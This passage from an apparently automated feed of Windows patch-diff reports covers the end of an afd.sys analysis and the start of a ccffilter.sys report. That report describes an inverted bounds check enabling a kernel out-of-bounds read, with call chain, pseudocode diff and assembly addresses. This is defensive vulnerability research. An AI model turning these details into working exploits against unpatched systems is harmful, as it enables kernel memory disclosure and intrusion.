&lt;td&gt;&lt;code&gt;movzx edi, word [rbp+8]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the &lt;code&gt;AddressLength&lt;/code&gt; read; &lt;code&gt;rbp = MappedSystemVa + offset&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00642DE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jz 0x1C00642F9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;branch that skips the clamp when the feature flag is off&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0064304&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call memmove&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the copy; &lt;code&gt;r8d = size&lt;/code&gt;, &lt;code&gt;rcx = dst = rbp&lt;/code&gt;, &lt;code&gt;rdx = src = rbp+0xa&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Relevant MDL field: &lt;code&gt;MDL+0x28&lt;/code&gt; = &lt;code&gt;ByteCount&lt;/code&gt; (the value the disabled clamp would have used). Compare &lt;code&gt;size&lt;/code&gt; at &lt;code&gt;0x1C0064304&lt;/code&gt; against &lt;code&gt;ByteCount - offset&lt;/code&gt; to observe whether the copy exceeds the mapped buffer.&lt;/p&gt;
&lt;h3&gt;7.2 &lt;code&gt;AfdQueryHandles&lt;/code&gt; / &lt;code&gt;AfdTdiCreateAO&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AfdQueryHandles&lt;/code&gt; &lt;code&gt;0x1C0031B70&lt;/code&gt;; feature-state call at &lt;code&gt;0x1C0031CC6&lt;/code&gt;; &lt;code&gt;KernelMode&lt;/code&gt; assignment at &lt;code&gt;0x1C0031CED&lt;/code&gt; (&lt;code&gt;mov eax, r15d&lt;/code&gt;, &lt;code&gt;r15d = 0&lt;/code&gt;); &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt; at &lt;code&gt;0x1C0031D1E&lt;/code&gt; and &lt;code&gt;0x1C0031DEA&lt;/code&gt;. Inspect the stacked &lt;code&gt;AccessMode&lt;/code&gt; argument (sixth parameter) at the call: &lt;code&gt;0&lt;/code&gt; on the vulnerable path, caller mode after the patch.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AfdTdiCreateAO&lt;/code&gt; &lt;code&gt;0x1C0039D88&lt;/code&gt; (unpatched); feature-state call at &lt;code&gt;0x1C003A5AE&lt;/code&gt;; &lt;code&gt;KernelMode&lt;/code&gt; assignment at &lt;code&gt;0x1C003A5D1&lt;/code&gt; (&lt;code&gt;mov eax, edi&lt;/code&gt;, &lt;code&gt;edi = 0&lt;/code&gt;); &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt; at &lt;code&gt;0x1C003A5F8&lt;/code&gt;. &lt;code&gt;DesiredAccess&lt;/code&gt; is &lt;code&gt;0x02000000&lt;/code&gt; (&lt;code&gt;ACCESS_SYSTEM_SECURITY&lt;/code&gt;) at both sites.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.3 &lt;code&gt;AfdCreateConnection&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Patched device check at &lt;code&gt;0x1C0048263&lt;/code&gt;–&lt;code&gt;0x1C0048288&lt;/code&gt;; mismatch returns &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; at &lt;code&gt;0x1C00482B7&lt;/code&gt;; &lt;code&gt;AfdIssueDeviceControl&lt;/code&gt; at &lt;code&gt;0x1C00482F5&lt;/code&gt;. Set a breakpoint on &lt;code&gt;nt!IoGetDeviceAttachmentBaseRef&lt;/code&gt; to observe the two base-device queries in the patched build; they are absent in the unpatched routine.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-relevant&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt;&lt;/strong&gt; — similarity &lt;code&gt;0.9295&lt;/code&gt;. HIGH. Flag-gated length clamp made unconditional (and tightened to &lt;code&gt;IoStatus.Information - 0xa&lt;/code&gt;); see §2.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdQueryHandles&lt;/code&gt;&lt;/strong&gt; — similarity &lt;code&gt;0.9012&lt;/code&gt;. MEDIUM. Removes conditional &lt;code&gt;AccessMode = KernelMode&lt;/code&gt; for two &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt; opens; see §2.2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdTdiCreateAO&lt;/code&gt;&lt;/strong&gt; — similarity &lt;code&gt;0.9723&lt;/code&gt;. MEDIUM. Same AccessMode pattern in the address-object creation path; see §2.3.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdCreateConnection&lt;/code&gt;&lt;/strong&gt; — similarity &lt;code&gt;0.8395&lt;/code&gt;. MEDIUM (hardening). Adds &lt;code&gt;IoGetDeviceAttachmentBaseRef&lt;/code&gt; device-stack match before &lt;code&gt;AfdIssueDeviceControl&lt;/code&gt;; see §2.4.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Servicing feature-flag teardown (no security-relevant logic delta)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdExtractAfdSendMsgInfo&lt;/code&gt;&lt;/strong&gt; — similarity &lt;code&gt;0.966&lt;/code&gt;. The unpatched build gates a size/source validation behind &lt;code&gt;g_Feature_Servicing_AudioVideoStutteringIssue_58996271&lt;/code&gt; (when the flag is on, the check is skipped). The patched build removes the flag and instead validates unconditionally: it acquires the queued spinlock and requires &lt;code&gt;Size == *(endpoint + 0x94)&lt;/code&gt;, returning &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; (&lt;code&gt;0xC000000D&lt;/code&gt;) on mismatch before the &lt;code&gt;memmove&lt;/code&gt; at &lt;code&gt;0x1C000B3CF&lt;/code&gt;. The subsequent &lt;code&gt;memmove&lt;/code&gt; sites and their &lt;code&gt;AfdUserProbeAddress&lt;/code&gt; probes are unchanged. This is an always-on validation, not a removed one; no security regression. &lt;code&gt;r15&lt;/code&gt; is reallocated to &lt;code&gt;r14&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdSuperAccept&lt;/code&gt;&lt;/strong&gt; — similarity &lt;code&gt;0.9796&lt;/code&gt;. Removes the &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_1487976763_57832072)&lt;/code&gt; gate; the &lt;code&gt;STATUS_BUFFER_TOO_SMALL&lt;/code&gt; (&lt;code&gt;0xC0000023&lt;/code&gt;) reject path itself remains in the patched build. Register and stack layout changes only. No security impact.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None. Both &lt;code&gt;removed&lt;/code&gt; and &lt;code&gt;added&lt;/code&gt; are empty — every change is inside an existing function; no helper or sanitiser was introduced or removed at function granularity.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; change is verified directly against both builds: the unpatched clamp is behind &lt;code&gt;jz 0x1C00642F9&lt;/code&gt; at &lt;code&gt;0x1C00642DE&lt;/code&gt;, gated on &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_4201696571_57655968)&lt;/code&gt;; the patched build clamps in both branches of &lt;code&gt;g_Feature_499346745_59190809&lt;/code&gt; and reaches the &lt;code&gt;memmove&lt;/code&gt; at &lt;code&gt;0x1C006432C&lt;/code&gt; only after a clamp. Whether an attacker can drive &lt;code&gt;AddressLength&lt;/code&gt; past the buffer bound is not established from the binaries; the severity reflects a kernel-mode out-of-bounds copy whose bound was skippable by default.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;AfdQueryHandles&lt;/code&gt; / &lt;code&gt;AfdTdiCreateAO&lt;/code&gt; findings are verified: the &lt;code&gt;KernelMode&lt;/code&gt; (&lt;code&gt;0&lt;/code&gt;) assignment is present on the feature-off, flag-clear path in the unpatched build (&lt;code&gt;0x1C0031CED&lt;/code&gt;, &lt;code&gt;0x1C003A5D1&lt;/code&gt;) and removed in the patched build. &lt;code&gt;DesiredAccess&lt;/code&gt; is &lt;code&gt;0x02000000&lt;/code&gt; (&lt;code&gt;ACCESS_SYSTEM_SECURITY&lt;/code&gt;) at all sites; the affected objects are the caller's own socket's transport file objects.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;AfdCreateConnection&lt;/code&gt; finding is a hardening fix: the patched build adds the &lt;code&gt;IoGetDeviceAttachmentBaseRef&lt;/code&gt; device-stack comparison (&lt;code&gt;0x1C0048263&lt;/code&gt;–&lt;code&gt;0x1C0048288&lt;/code&gt;); the unpatched routine has no such check.&lt;/li&gt;
&lt;li&gt;Default state of the named servicing feature flags is configuration-dependent and cannot be read from the binaries. The findings are stated in terms of the code path that runs when each flag is off.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>ccffilter.sys — Out-of-bounds read due to inverted bounds check (CWE-125, CWE-697) in CCFFilterAppInstanceEA fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ccffilter_aec44ab5-ccffilter-report-20260625-204530.html" rel="alternate"/><published>2026-06-25T00:00:00-07:00</published><updated>2026-06-25T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-25:/drift-corpus/item/ccffilter_aec44ab5-ccffilter-report-20260625-204530.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ccffilter_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ccffilter_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9931&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;84&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (either direction)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; A single-byte patch in &lt;code&gt;CCFFilterAppInstanceEA&lt;/code&gt; flips an inverted bounds check (&lt;code&gt;jb&lt;/code&gt; → &lt;code&gt;ja&lt;/code&gt;) at &lt;code&gt;0x1c00099f7&lt;/code&gt;. The unpatched driver mis-validates the &lt;code&gt;EaValueLength&lt;/code&gt; field of a &lt;code&gt;FILE_FULL_EA_INFORMATION&lt;/code&gt; entry named &lt;code&gt;ClusteredApplicationInstance&lt;/code&gt;, enabling an out-of-bounds read of up to 20 bytes from kernel pool memory on any &lt;code&gt;NtCreateFile&lt;/code&gt; issued against a Cluster Shared Volume.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Inverted bounds check → kernel OOB read&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Out-of-bounds read due to incorrect comparison (CWE-125 / CWE-697)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;ccffilter_unpatched!CCFFilterAppInstanceEA&lt;/code&gt; @ &lt;code&gt;0x1c000990c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched instruction:&lt;/strong&gt; &lt;code&gt;0x1c00099f7&lt;/code&gt; — opcode &lt;code&gt;0F 82&lt;/code&gt; (&lt;code&gt;jb&lt;/code&gt;) → &lt;code&gt;0F 87&lt;/code&gt; (&lt;code&gt;ja&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; The minifilter walks the EA chain supplied with an &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; looking for an EA named &lt;code&gt;ClusteredApplicationInstance&lt;/code&gt;. When found, it expects the EA's value to be either a 16-byte GUID (&lt;code&gt;EaValueLength == 0x10&lt;/code&gt;) or a 20-byte GUID+version structure (&lt;code&gt;EaValueLength &amp;gt;= 0x14&lt;/code&gt;). For the 20-byte case, the function loads &lt;code&gt;eax = 0x14&lt;/code&gt;, compares it against &lt;code&gt;EaValueLength&lt;/code&gt; (in &lt;code&gt;dx&lt;/code&gt;), and is &lt;em&gt;supposed&lt;/em&gt; to bail out to an error path (&lt;code&gt;STATUS 0xC0000053&lt;/code&gt;) whenever &lt;code&gt;EaValueLength &amp;lt; 0x14&lt;/code&gt;. Instead, the branch is &lt;code&gt;jb&lt;/code&gt; ("jump if 0x14 below EaValueLength"), which only sends values &lt;em&gt;greater than&lt;/em&gt; &lt;code&gt;0x14&lt;/code&gt; to the error path. Every value from &lt;code&gt;0x00–0x0F&lt;/code&gt; and &lt;code&gt;0x11–0x13&lt;/code&gt; falls through to two unconditional reads — a 16-byte &lt;code&gt;movups&lt;/code&gt; and a 4-byte &lt;code&gt;mov dword&lt;/code&gt; — that pull 20 bytes from a buffer the attacker sized arbitrarily small. The patch replaces &lt;code&gt;jb&lt;/code&gt; with &lt;code&gt;ja&lt;/code&gt;, restoring the intended semantics.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-reachable entry point &amp;amp; call chain.&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Attacker (any user with permission to open a path on a CSV-managed volume) calls &lt;code&gt;NtCreateFile&lt;/code&gt; / &lt;code&gt;CreateFileW&lt;/code&gt; with an &lt;code&gt;EaBuffer&lt;/code&gt; containing a crafted EA.&lt;/li&gt;
&lt;li&gt;The I/O Manager builds an &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; and routes it down the filter stack.&lt;/li&gt;
&lt;li&gt;FltMgr dispatches the IRP to &lt;code&gt;CCFPreCreate&lt;/code&gt; (Pre-op callback for &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt;) @ &lt;code&gt;0x1c00078c5&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CCFPreCreate&lt;/code&gt; calls &lt;code&gt;CCFFilterAppInstanceEA(&amp;amp;EaBuffer, &amp;amp;EaLength, …, &amp;amp;GuidOut, &amp;amp;VersionOut, …)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CCFFilterAppInstanceEA&lt;/code&gt; walks the EA list, matches &lt;code&gt;ClusteredApplicationInstance&lt;/code&gt; via &lt;code&gt;strncmp&lt;/code&gt;, and executes the buggy check at &lt;code&gt;0x1c00099f7&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The 20-byte OOB read writes 16 bytes into the output GUID (&lt;code&gt;r14&lt;/code&gt;) and 4 bytes into a version output. Back in &lt;code&gt;CCFPreCreate&lt;/code&gt;, the 16 leaked GUID bytes are copied into a &lt;code&gt;GUID_ECP_NETWORK_APP_INSTANCE&lt;/code&gt; extra create parameter — allocated by &lt;code&gt;FltAllocateExtraCreateParameter&lt;/code&gt; at &lt;code&gt;0x1c0007ac2&lt;/code&gt;, filled at &lt;code&gt;0x1c0007b90&lt;/code&gt; (&lt;code&gt;movdqu [ecp+4], xmm0&lt;/code&gt; from the GUID buffer), and attached to the create via &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt; at &lt;code&gt;0x1c0007baa&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// After strncmp matched EA name &amp;quot;ClusteredApplicationInstance&amp;quot;:&lt;/span&gt;
&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ea_value_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaValueLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// from [rbx+6]&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ea_value_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// 16-byte GUID-only format — correct&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guid_out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaName&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaNameLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;version_out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ---- UNPATCHED (buggy) ----&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ea_value_len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// BUG: rejects only len &amp;gt; 0x14&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err_status_c0000053&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;//      -&amp;gt; values &amp;lt; 0x14 fall through!&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// 20-byte read path reached with len &amp;lt; 0x14 -&amp;gt; OOB read of up to 20 bytes&lt;/span&gt;
&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guid_out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaName&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaNameLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// OOB&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;version_out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaName&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaNameLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// OOB&lt;/span&gt;
&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// ---- PATCHED (correct) ----&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ea_value_len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// FIX: rejects len &amp;lt; 0x14&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err_status_c0000053&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guid_out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaName&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaNameLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// safe&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;version_out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaName&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaNameLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// safe&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;The semantics flip is the entire bug. &lt;code&gt;0x14 &amp;lt; ea_value_len&lt;/code&gt; (unpatched) accepts the dangerous range &lt;code&gt;0 ≤ len ≤ 0x14&lt;/code&gt;; &lt;code&gt;0x14 &amp;gt; ea_value_len&lt;/code&gt; (patched) correctly rejects it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable function — &lt;code&gt;CCFFilterAppInstanceEA&lt;/code&gt; (unpatched, full annotated listing)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ===== Prologue =====&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000990c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
